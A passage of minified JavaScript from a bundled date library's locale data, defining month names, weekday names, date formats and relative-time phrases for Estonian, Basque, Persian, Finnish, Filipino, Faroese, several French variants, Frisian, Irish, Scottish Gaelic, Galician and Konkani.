e?/-MMM-/.test(n)?i[e.month()]:t[e.month()]:t},monthsRegex:r,monthsShortRegex:r,monthsStrictRegex:/^(enero|febrero|marzo|abril|mayo|junio|julio|agosto|septiembre|octubre|noviembre|diciembre)/i,monthsShortStrictRegex:/^(ene\.?|feb\.?|mar\.?|abr\.?|may\.?|jun\.?|jul\.?|ago\.?|sep\.?|oct\.?|nov\.?|dic\.?)/i,monthsParse:n,longMonthsParse:n,shortMonthsParse:n,weekdays:"domingo_lunes_martes_miércoles_jueves_viernes_sábado".split("_"),weekdaysShort:"dom._lun._mar._mié._jue._vie._sáb.".split("_"),weekdaysMin:"do_lu_ma_mi_ju_vi_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoy a la"+(1!==this.hours()?"s":"")+"] LT"},nextDay:function(){return"[mañana a la"+(1!==this.hours()?"s":"")+"] LT"},nextWeek:function(){return"dddd [a la"+(1!==this.hours()?"s":"")+"] LT"},lastDay:function(){return"[ayer a la"+(1!==this.hours()?"s":"")+"] LT"},lastWeek:function(){return"[el] dddd [pasado a la"+(1!==this.hours()?"s":"")+"] LT"},sameElse:"L"},relativeTime:{future:"en %s",past:"hace %s",s:"unos segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"una hora",hh:"%d horas",d:"un día",dd:"%d días",w:"una semana",ww:"%d semanas",M:"un mes",MM:"%d meses",y:"un año",yy:"%d años"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4},invalidDate:"Fecha inválida"})}(i(30381))},5603:function(e,t,i){!function(e){"use strict";function t(e,t,i,n){var r={s:["mõne sekundi","mõni sekund","paar sekundit"],ss:[e+"sekundi",e+"sekundit"],m:["ühe minuti","üks minut"],mm:[e+" minuti",e+" minutit"],h:["ühe tunni","tund aega","üks tund"],hh:[e+" tunni",e+" tundi"],d:["ühe päeva","üks päev"],M:["kuu aja","kuu aega","üks kuu"],MM:[e+" kuu",e+" kuud"],y:["ühe aasta","aasta","üks aasta"],yy:[e+" aasta",e+" aastat"]};return t?r[i][2]?r[i][2]:r[i][1]:n?r[i][0]:r[i][1]}e.defineLocale("et",{months:"jaanuar_veebruar_märts_aprill_mai_juuni_juuli_august_september_oktoober_november_detsember".split("_"),monthsShort:"jaan_veebr_märts_apr_mai_juuni_juuli_aug_sept_okt_nov_dets".split("_"),weekdays:"pühapäev_esmaspäev_teisipäev_kolmapäev_neljapäev_reede_laupäev".split("_"),weekdaysShort:"P_E_T_K_N_R_L".split("_"),weekdaysMin:"P_E_T_K_N_R_L".split("_"),longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD.MM.YYYY",LL:"D. MMMM YYYY",LLL:"D. MMMM YYYY H:mm",LLLL:"dddd, D. MMMM YYYY H:mm"},calendar:{sameDay:"[Täna,] LT",nextDay:"[Homme,] LT",nextWeek:"[Järgmine] dddd LT",lastDay:"[Eile,] LT",lastWeek:"[Eelmine] dddd LT",sameElse:"L"},relativeTime:{future:"%s pärast",past:"%s tagasi",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:"%d päeva",M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},77763:function(e,t,i){!function(e){"use strict";e.defineLocale("eu",{months:"urtarrila_otsaila_martxoa_apirila_maiatza_ekaina_uztaila_abuztua_iraila_urria_azaroa_abendua".split("_"),monthsShort:"urt._ots._mar._api._mai._eka._uzt._abu._ira._urr._aza._abe.".split("_"),monthsParseExact:!0,weekdays:"igandea_astelehena_asteartea_asteazkena_osteguna_ostirala_larunbata".split("_"),weekdaysShort:"ig._al._ar._az._og._ol._lr.".split("_"),weekdaysMin:"ig_al_ar_az_og_ol_lr".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"YYYY[ko] MMMM[ren] D[a]",LLL:"YYYY[ko] MMMM[ren] D[a] HH:mm",LLLL:"dddd, YYYY[ko] MMMM[ren] D[a] HH:mm",l:"YYYY-M-D",ll:"YYYY[ko] MMM D[a]",lll:"YYYY[ko] MMM D[a] HH:mm",llll:"ddd, YYYY[ko] MMM D[a] HH:mm"},calendar:{sameDay:"[gaur] LT[etan]",nextDay:"[bihar] LT[etan]",nextWeek:"dddd LT[etan]",lastDay:"[atzo] LT[etan]",lastWeek:"[aurreko] dddd LT[etan]",sameElse:"L"},relativeTime:{future:"%s barru",past:"duela %s",s:"segundo batzuk",ss:"%d segundo",m:"minutu bat",mm:"%d minutu",h:"ordu bat",hh:"%d ordu",d:"egun bat",dd:"%d egun",M:"hilabete bat",MM:"%d hilabete",y:"urte bat",yy:"%d urte"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:7}})}(i(30381))},76959:function(e,t,i){!function(e){"use strict";var t={1:"۱",2:"۲",3:"۳",4:"۴",5:"۵",6:"۶",7:"۷",8:"۸",9:"۹",0:"۰"},i={"۱":"1","۲":"2","۳":"3","۴":"4","۵":"5","۶":"6","۷":"7","۸":"8","۹":"9","۰":"0"};e.defineLocale("fa",{months:"ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"),monthsShort:"ژانویه_فوریه_مارس_آوریل_مه_ژوئن_ژوئیه_اوت_سپتامبر_اکتبر_نوامبر_دسامبر".split("_"),weekdays:"یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"),weekdaysShort:"یک‌شنبه_دوشنبه_سه‌شنبه_چهارشنبه_پنج‌شنبه_جمعه_شنبه".split("_"),weekdaysMin:"ی_د_س_چ_پ_ج_ش".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},meridiemParse:/قبل از ظهر|بعد از ظهر/,isPM:function(e){return/بعد از ظهر/.test(e)},meridiem:function(e,t,i){return e<12?"قبل از ظهر":"بعد از ظهر"},calendar:{sameDay:"[امروز ساعت] LT",nextDay:"[فردا ساعت] LT",nextWeek:"dddd [ساعت] LT",lastDay:"[دیروز ساعت] LT",lastWeek:"dddd [پیش] [ساعت] LT",sameElse:"L"},relativeTime:{future:"در %s",past:"%s پیش",s:"چند ثانیه",ss:"%d ثانیه",m:"یک دقیقه",mm:"%d دقیقه",h:"یک ساعت",hh:"%d ساعت",d:"یک روز",dd:"%d روز",M:"یک ماه",MM:"%d ماه",y:"یک سال",yy:"%d سال"},preparse:function(e){return e.replace(/[۰-۹]/g,(function(e){return i[e]})).replace(/،/g,",")},postformat:function(e){return e.replace(/\d/g,(function(e){return t[e]})).replace(/,/g,"،")},dayOfMonthOrdinalParse:/\d{1,2}م/,ordinal:"%dم",week:{dow:6,doy:12}})}(i(30381))},11897:function(e,t,i){!function(e){"use strict";var t="nolla yksi kaksi kolme neljä viisi kuusi seitsemän kahdeksan yhdeksän".split(" "),i=["nolla","yhden","kahden","kolmen","neljän","viiden","kuuden",t[7],t[8],t[9]];function n(e,n,r,s){var a="";switch(r){case"s":return s?"muutaman sekunnin":"muutama sekunti";case"ss":a=s?"sekunnin":"sekuntia";break;case"m":return s?"minuutin":"minuutti";case"mm":a=s?"minuutin":"minuuttia";break;case"h":return s?"tunnin":"tunti";case"hh":a=s?"tunnin":"tuntia";break;case"d":return s?"päivän":"päivä";case"dd":a=s?"päivän":"päivää";break;case"M":return s?"kuukauden":"kuukausi";case"MM":a=s?"kuukauden":"kuukautta";break;case"y":return s?"vuoden":"vuosi";case"yy":a=s?"vuoden":"vuotta"}return function(e,n){return e<10?n?i[e]:t[e]:e}(e,s)+" "+a}e.defineLocale("fi",{months:"tammikuu_helmikuu_maaliskuu_huhtikuu_toukokuu_kesäkuu_heinäkuu_elokuu_syyskuu_lokakuu_marraskuu_joulukuu".split("_"),monthsShort:"tammi_helmi_maalis_huhti_touko_kesä_heinä_elo_syys_loka_marras_joulu".split("_"),weekdays:"sunnuntai_maanantai_tiistai_keskiviikko_torstai_perjantai_lauantai".split("_"),weekdaysShort:"su_ma_ti_ke_to_pe_la".split("_"),weekdaysMin:"su_ma_ti_ke_to_pe_la".split("_"),longDateFormat:{LT:"HH.mm",LTS:"HH.mm.ss",L:"DD.MM.YYYY",LL:"Do MMMM[ta] YYYY",LLL:"Do MMMM[ta] YYYY, [klo] HH.mm",LLLL:"dddd, Do MMMM[ta] YYYY, [klo] HH.mm",l:"D.M.YYYY",ll:"Do MMM YYYY",lll:"Do MMM YYYY, [klo] HH.mm",llll:"ddd, Do MMM YYYY, [klo] HH.mm"},calendar:{sameDay:"[tänään] [klo] LT",nextDay:"[huomenna] [klo] LT",nextWeek:"dddd [klo] LT",lastDay:"[eilen] [klo] LT",lastWeek:"[viime] dddd[na] [klo] LT",sameElse:"L"},relativeTime:{future:"%s päästä",past:"%s sitten",s:n,ss:n,m:n,mm:n,h:n,hh:n,d:n,dd:n,M:n,MM:n,y:n,yy:n},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},42549:function(e,t,i){!function(e){"use strict";e.defineLocale("fil",{months:"Enero_Pebrero_Marso_Abril_Mayo_Hunyo_Hulyo_Agosto_Setyembre_Oktubre_Nobyembre_Disyembre".split("_"),monthsShort:"Ene_Peb_Mar_Abr_May_Hun_Hul_Ago_Set_Okt_Nob_Dis".split("_"),weekdays:"Linggo_Lunes_Martes_Miyerkules_Huwebes_Biyernes_Sabado".split("_"),weekdaysShort:"Lin_Lun_Mar_Miy_Huw_Biy_Sab".split("_"),weekdaysMin:"Li_Lu_Ma_Mi_Hu_Bi_Sab".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"MM/D/YYYY",LL:"MMMM D, YYYY",LLL:"MMMM D, YYYY HH:mm",LLLL:"dddd, MMMM DD, YYYY HH:mm"},calendar:{sameDay:"LT [ngayong araw]",nextDay:"[Bukas ng] LT",nextWeek:"LT [sa susunod na] dddd",lastDay:"LT [kahapon]",lastWeek:"LT [noong nakaraang] dddd",sameElse:"L"},relativeTime:{future:"sa loob ng %s",past:"%s ang nakalipas",s:"ilang segundo",ss:"%d segundo",m:"isang minuto",mm:"%d minuto",h:"isang oras",hh:"%d oras",d:"isang araw",dd:"%d araw",M:"isang buwan",MM:"%d buwan",y:"isang taon",yy:"%d taon"},dayOfMonthOrdinalParse:/\d{1,2}/,ordinal:function(e){return e},week:{dow:1,doy:4}})}(i(30381))},94694:function(e,t,i){!function(e){"use strict";e.defineLocale("fo",{months:"januar_februar_mars_apríl_mai_juni_juli_august_september_oktober_november_desember".split("_"),monthsShort:"jan_feb_mar_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_"),weekdays:"sunnudagur_mánadagur_týsdagur_mikudagur_hósdagur_fríggjadagur_leygardagur".split("_"),weekdaysShort:"sun_mán_týs_mik_hós_frí_ley".split("_"),weekdaysMin:"su_má_tý_mi_hó_fr_le".split("_"),longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D. MMMM, YYYY HH:mm"},calendar:{sameDay:"[Í dag kl.] LT",nextDay:"[Í morgin kl.] LT",nextWeek:"dddd [kl.] LT",lastDay:"[Í gjár kl.] LT",lastWeek:"[síðstu] dddd [kl] LT",sameElse:"L"},relativeTime:{future:"um %s",past:"%s síðani",s:"fá sekund",ss:"%d sekundir",m:"ein minuttur",mm:"%d minuttir",h:"ein tími",hh:"%d tímar",d:"ein dagur",dd:"%d dagar",M:"ein mánaður",MM:"%d mánaðir",y:"eitt ár",yy:"%d ár"},dayOfMonthOrdinalParse:/\d{1,2}\./,ordinal:"%d.",week:{dow:1,doy:4}})}(i(30381))},63049:function(e,t,i){!function(e){"use strict";e.defineLocale("fr-ca",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"YYYY-MM-DD",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|e)/,ordinal:function(e,t){switch(t){default:case"M":case"Q":case"D":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}}})}(i(30381))},52330:function(e,t,i){!function(e){"use strict";e.defineLocale("fr-ch",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsParseExact:!0,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD.MM.YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|e)/,ordinal:function(e,t){switch(t){default:case"M":case"Q":case"D":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}(i(30381))},94470:function(e,t,i){!function(e){"use strict";var t=/(janv\.?|févr\.?|mars|avr\.?|mai|juin|juil\.?|août|sept\.?|oct\.?|nov\.?|déc\.?|janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i,i=[/^janv/i,/^févr/i,/^mars/i,/^avr/i,/^mai/i,/^juin/i,/^juil/i,/^août/i,/^sept/i,/^oct/i,/^nov/i,/^déc/i];e.defineLocale("fr",{months:"janvier_février_mars_avril_mai_juin_juillet_août_septembre_octobre_novembre_décembre".split("_"),monthsShort:"janv._févr._mars_avr._mai_juin_juil._août_sept._oct._nov._déc.".split("_"),monthsRegex:t,monthsShortRegex:t,monthsStrictRegex:/^(janvier|février|mars|avril|mai|juin|juillet|août|septembre|octobre|novembre|décembre)/i,monthsShortStrictRegex:/(janv\.?|févr\.?|mars|avr\.?|mai|juin|juil\.?|août|sept\.?|oct\.?|nov\.?|déc\.?)/i,monthsParse:i,longMonthsParse:i,shortMonthsParse:i,weekdays:"dimanche_lundi_mardi_mercredi_jeudi_vendredi_samedi".split("_"),weekdaysShort:"dim._lun._mar._mer._jeu._ven._sam.".split("_"),weekdaysMin:"di_lu_ma_me_je_ve_sa".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[Aujourd’hui à] LT",nextDay:"[Demain à] LT",nextWeek:"dddd [à] LT",lastDay:"[Hier à] LT",lastWeek:"dddd [dernier à] LT",sameElse:"L"},relativeTime:{future:"dans %s",past:"il y a %s",s:"quelques secondes",ss:"%d secondes",m:"une minute",mm:"%d minutes",h:"une heure",hh:"%d heures",d:"un jour",dd:"%d jours",w:"une semaine",ww:"%d semaines",M:"un mois",MM:"%d mois",y:"un an",yy:"%d ans"},dayOfMonthOrdinalParse:/\d{1,2}(er|)/,ordinal:function(e,t){switch(t){case"D":return e+(1===e?"er":"");default:case"M":case"Q":case"DDD":case"d":return e+(1===e?"er":"e");case"w":case"W":return e+(1===e?"re":"e")}},week:{dow:1,doy:4}})}(i(30381))},5044:function(e,t,i){!function(e){"use strict";var t="jan._feb._mrt._apr._mai_jun._jul._aug._sep._okt._nov._des.".split("_"),i="jan_feb_mrt_apr_mai_jun_jul_aug_sep_okt_nov_des".split("_");e.defineLocale("fy",{months:"jannewaris_febrewaris_maart_april_maaie_juny_july_augustus_septimber_oktober_novimber_desimber".split("_"),monthsShort:function(e,n){return e?/-MMM-/.test(n)?i[e.month()]:t[e.month()]:t},monthsParseExact:!0,weekdays:"snein_moandei_tiisdei_woansdei_tongersdei_freed_sneon".split("_"),weekdaysShort:"si._mo._ti._wo._to._fr._so.".split("_"),weekdaysMin:"Si_Mo_Ti_Wo_To_Fr_So".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd D MMMM YYYY HH:mm"},calendar:{sameDay:"[hjoed om] LT",nextDay:"[moarn om] LT",nextWeek:"dddd [om] LT",lastDay:"[juster om] LT",lastWeek:"[ôfrûne] dddd [om] LT",sameElse:"L"},relativeTime:{future:"oer %s",past:"%s lyn",s:"in pear sekonden",ss:"%d sekonden",m:"ien minút",mm:"%d minuten",h:"ien oere",hh:"%d oeren",d:"ien dei",dd:"%d dagen",M:"ien moanne",MM:"%d moannen",y:"ien jier",yy:"%d jierren"},dayOfMonthOrdinalParse:/\d{1,2}(ste|de)/,ordinal:function(e){return e+(1===e||8===e||e>=20?"ste":"de")},week:{dow:1,doy:4}})}(i(30381))},29295:function(e,t,i){!function(e){"use strict";e.defineLocale("ga",{months:["Eanáir","Feabhra","Márta","Aibreán","Bealtaine","Meitheamh","Iúil","Lúnasa","Meán Fómhair","Deireadh Fómhair","Samhain","Nollaig"],monthsShort:["Ean","Feabh","Márt","Aib","Beal","Meith","Iúil","Lún","M.F.","D.F.","Samh","Noll"],monthsParseExact:!0,weekdays:["Dé Domhnaigh","Dé Luain","Dé Máirt","Dé Céadaoin","Déardaoin","Dé hAoine","Dé Sathairn"],weekdaysShort:["Domh","Luan","Máirt","Céad","Déar","Aoine","Sath"],weekdaysMin:["Do","Lu","Má","Cé","Dé","A","Sa"],longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[Inniu ag] LT",nextDay:"[Amárach ag] LT",nextWeek:"dddd [ag] LT",lastDay:"[Inné ag] LT",lastWeek:"dddd [seo caite] [ag] LT",sameElse:"L"},relativeTime:{future:"i %s",past:"%s ó shin",s:"cúpla soicind",ss:"%d soicind",m:"nóiméad",mm:"%d nóiméad",h:"uair an chloig",hh:"%d uair an chloig",d:"lá",dd:"%d lá",M:"mí",MM:"%d míonna",y:"bliain",yy:"%d bliain"},dayOfMonthOrdinalParse:/\d{1,2}(d|na|mh)/,ordinal:function(e){return e+(1===e?"d":e%10==2?"na":"mh")},week:{dow:1,doy:4}})}(i(30381))},2101:function(e,t,i){!function(e){"use strict";e.defineLocale("gd",{months:["Am Faoilleach","An Gearran","Am Màrt","An Giblean","An Cèitean","An t-Ògmhios","An t-Iuchar","An Lùnastal","An t-Sultain","An Dàmhair","An t-Samhain","An Dùbhlachd"],monthsShort:["Faoi","Gear","Màrt","Gibl","Cèit","Ògmh","Iuch","Lùn","Sult","Dàmh","Samh","Dùbh"],monthsParseExact:!0,weekdays:["Didòmhnaich","Diluain","Dimàirt","Diciadain","Diardaoin","Dihaoine","Disathairne"],weekdaysShort:["Did","Dil","Dim","Dic","Dia","Dih","Dis"],weekdaysMin:["Dò","Lu","Mà","Ci","Ar","Ha","Sa"],longDateFormat:{LT:"HH:mm",LTS:"HH:mm:ss",L:"DD/MM/YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY HH:mm",LLLL:"dddd, D MMMM YYYY HH:mm"},calendar:{sameDay:"[An-diugh aig] LT",nextDay:"[A-màireach aig] LT",nextWeek:"dddd [aig] LT",lastDay:"[An-dè aig] LT",lastWeek:"dddd [seo chaidh] [aig] LT",sameElse:"L"},relativeTime:{future:"ann an %s",past:"bho chionn %s",s:"beagan diogan",ss:"%d diogan",m:"mionaid",mm:"%d mionaidean",h:"uair",hh:"%d uairean",d:"latha",dd:"%d latha",M:"mìos",MM:"%d mìosan",y:"bliadhna",yy:"%d bliadhna"},dayOfMonthOrdinalParse:/\d{1,2}(d|na|mh)/,ordinal:function(e){return e+(1===e?"d":e%10==2?"na":"mh")},week:{dow:1,doy:4}})}(i(30381))},38794:function(e,t,i){!function(e){"use strict";e.defineLocale("gl",{months:"xaneiro_febreiro_marzo_abril_maio_xuño_xullo_agosto_setembro_outubro_novembro_decembro".split("_"),monthsShort:"xan._feb._mar._abr._mai._xuñ._xul._ago._set._out._nov._dec.".split("_"),monthsParseExact:!0,weekdays:"domingo_luns_martes_mércores_xoves_venres_sábado".split("_"),weekdaysShort:"dom._lun._mar._mér._xov._ven._sáb.".split("_"),weekdaysMin:"do_lu_ma_mé_xo_ve_sá".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"H:mm",LTS:"H:mm:ss",L:"DD/MM/YYYY",LL:"D [de] MMMM [de] YYYY",LLL:"D [de] MMMM [de] YYYY H:mm",LLLL:"dddd, D [de] MMMM [de] YYYY H:mm"},calendar:{sameDay:function(){return"[hoxe "+(1!==this.hours()?"ás":"á")+"] LT"},nextDay:function(){return"[mañá "+(1!==this.hours()?"ás":"á")+"] LT"},nextWeek:function(){return"dddd ["+(1!==this.hours()?"ás":"a")+"] LT"},lastDay:function(){return"[onte "+(1!==this.hours()?"á":"a")+"] LT"},lastWeek:function(){return"[o] dddd [pasado "+(1!==this.hours()?"ás":"a")+"] LT"},sameElse:"L"},relativeTime:{future:function(e){return 0===e.indexOf("un")?"n"+e:"en "+e},past:"hai %s",s:"uns segundos",ss:"%d segundos",m:"un minuto",mm:"%d minutos",h:"unha hora",hh:"%d horas",d:"un día",dd:"%d días",M:"un mes",MM:"%d meses",y:"un ano",yy:"%d anos"},dayOfMonthOrdinalParse:/\d{1,2}º/,ordinal:"%dº",week:{dow:1,doy:4}})}(i(30381))},27884:function(e,t,i){!function(e){"use strict";function t(e,t,i,n){var r={s:["थोडया सॅकंडांनी","थोडे सॅकंड"],ss:[e+" सॅकंडांनी",e+" सॅकंड"],m:["एका मिणटान","एक मिनूट"],mm:[e+" मिणटांनी",e+" मिणटां"],h:["एका वरान","एक वर"],hh:[e+" वरांनी",e+" वरां"],d:["एका दिसान","एक दीस"],dd:[e+" दिसांनी",e+" दीस"],M:["एका म्हयन्यान","एक म्हयनो"],MM:[e+" म्हयन्यानी",e+" म्हयने"],y:["एका वर्सान","एक वर्स"],yy:[e+" वर्सांनी",e+" वर्सां"]};return n?r[i][0]:r[i][1]}e.defineLocale("gom-deva",{months:{standalone:"जानेवारी_फेब्रुवारी_मार्च_एप्रील_मे_जून_जुलय_ऑगस्ट_सप्टेंबर_ऑक्टोबर_नोव्हेंबर_डिसेंबर".split("_"),format:"जानेवारीच्या_फेब्रुवारीच्या_मार्चाच्या_एप्रीलाच्या_मेयाच्या_जूनाच्या_जुलयाच्या_ऑगस्टाच्या_सप्टेंबराच्या_ऑक्टोबराच्या_नोव्हेंबराच्या_डिसेंबराच्या".split("_"),isFormat:/MMMM(\s)+D[oD]?/},monthsShort:"जाने._फेब्रु._मार्च_एप्री._मे_जून_जुल._ऑग._सप्टें._ऑक्टो._नोव्हें._डिसें.".split("_"),monthsParseExact:!0,weekdays:"आयतार_सोमार_मंगळार_बुधवार_बिरेस्तार_सुक्रार_शेनवार".split("_"),weekdaysShort:"आयत._सोम._मंगळ._बुध._ब्रेस्त._सुक्र._शेन.".split("_"),weekdaysMin:"आ_सो_मं_बु_ब्रे_सु_शे".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A h:mm [वाजतां]",LTS:"A h:mm:ss [वाजतां]",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY A h:mm [वाजतां]",LLLL:"dddd, MMMM Do, YYYY, A h:mm [वाजतां]",llll:"ddd, D MMM YYYY, A h:mm [वाजतां]"},calendar:{sameDay:"[आयज] LT",nextDay:"[फाल्यां] LT",nextWeek:"[फुडलो] dddd[,] LT",lastDay:"[काल] LT",lastWeek:"[फाटलो] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s",past:"%s आदीं",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(वेर)/,ordinal:function(e,t){return"D"===t?e+"वेर":e},week:{dow:0,doy:3},meridiemParse:/राती|सकाळीं|दनपारां|सांजे/,meridiemHour:function(e,t){return 12===e&&(e=0),"राती"===t?e<4?e:e+12:"सकाळीं"===t?e:"दनपारां"===t?e>12?e:e+12:"सांजे"===t?e+12:void 0},meridiem:function(e,t,i){return e<4?"राती":e<12?"सकाळीं":e<16?"दनपारां":e<20?"सांजे":"राती"}})}(i(30381))},23168:function(e,t,i){!function(e){"use strict";function t(e,t,i,n){var r={s:["thoddea sekondamni","thodde sekond"],ss:[e+" sekondamni",e+" sekond"],m:["eka mintan","ek minut"],mm:[e+" mintamni",e+" mintam"],h:["eka voran","ek vor"],hh:[e+" voramni",e+" voram"],d:["eka disan","ek dis"],dd:[e+" disamni",e+" dis"],M:["eka mhoinean","ek mhoino"],MM:[e+" mhoineamni",e+" mhoine"],y:["eka vorsan","ek voros"],yy:[e+" vorsamni",e+" vorsam"]};return n?r[i][0]:r[i][1]}e.defineLocale("gom-latn",{months:{standalone:"Janer_Febrer_Mars_Abril_Mai_Jun_Julai_Agost_Setembr_Otubr_Novembr_Dezembr".split("_"),format:"Janerachea_Febrerachea_Marsachea_Abrilachea_Maiachea_Junachea_Julaiachea_Agostachea_Setembrachea_Otubrachea_Novembrachea_Dezembrachea".split("_"),isFormat:/MMMM(\s)+D[oD]?/},monthsShort:"Jan._Feb._Mars_Abr._Mai_Jun_Jul._Ago._Set._Otu._Nov._Dez.".split("_"),monthsParseExact:!0,weekdays:"Aitar_Somar_Mongllar_Budhvar_Birestar_Sukrar_Son'var".split("_"),weekdaysShort:"Ait._Som._Mon._Bud._Bre._Suk._Son.".split("_"),weekdaysMin:"Ai_Sm_Mo_Bu_Br_Su_Sn".split("_"),weekdaysParseExact:!0,longDateFormat:{LT:"A h:mm [vazta]",LTS:"A h:mm:ss [vazta]",L:"DD-MM-YYYY",LL:"D MMMM YYYY",LLL:"D MMMM YYYY A h:mm [vazta]",LLLL:"dddd, MMMM Do, YYYY, A h:mm [vazta]",llll:"ddd, D MMM YYYY, A h:mm [vazta]"},calendar:{sameDay:"[Aiz] LT",nextDay:"[Faleam] LT",nextWeek:"[Fuddlo] dddd[,] LT",lastDay:"[Kal] LT",lastWeek:"[Fattlo] dddd[,] LT",sameElse:"L"},relativeTime:{future:"%s",past:"%s adim",s:t,ss:t,m:t,mm:t,h:t,hh:t,d:t,dd:t,M:t,MM:t,y:t,yy:t},dayOfMonthOrdinalParse:/\d{1,2}(er)/,ordinal:function(e,t){return"D"===t?e+"er":e},week:{dow:0,doy:3},meridiemParse:/rati|sokallim|donparam|sanje/,meridiemHour:function(e,t){return 12===e&&(e=0),"rati"===t?e<4?e:e+12:"sokallim"===t?e:"donparam"===t?e>12?e:e+12:"sanje"===t?e+12:void 0},meridiem:function(e,t,i){return e<4?"rati":e<12?"sokallim":e<16?"donparam":e<20?"sanje":"rati"}})}(i(30381))},95349:function(e,t,i){!function(e){"use strict";var 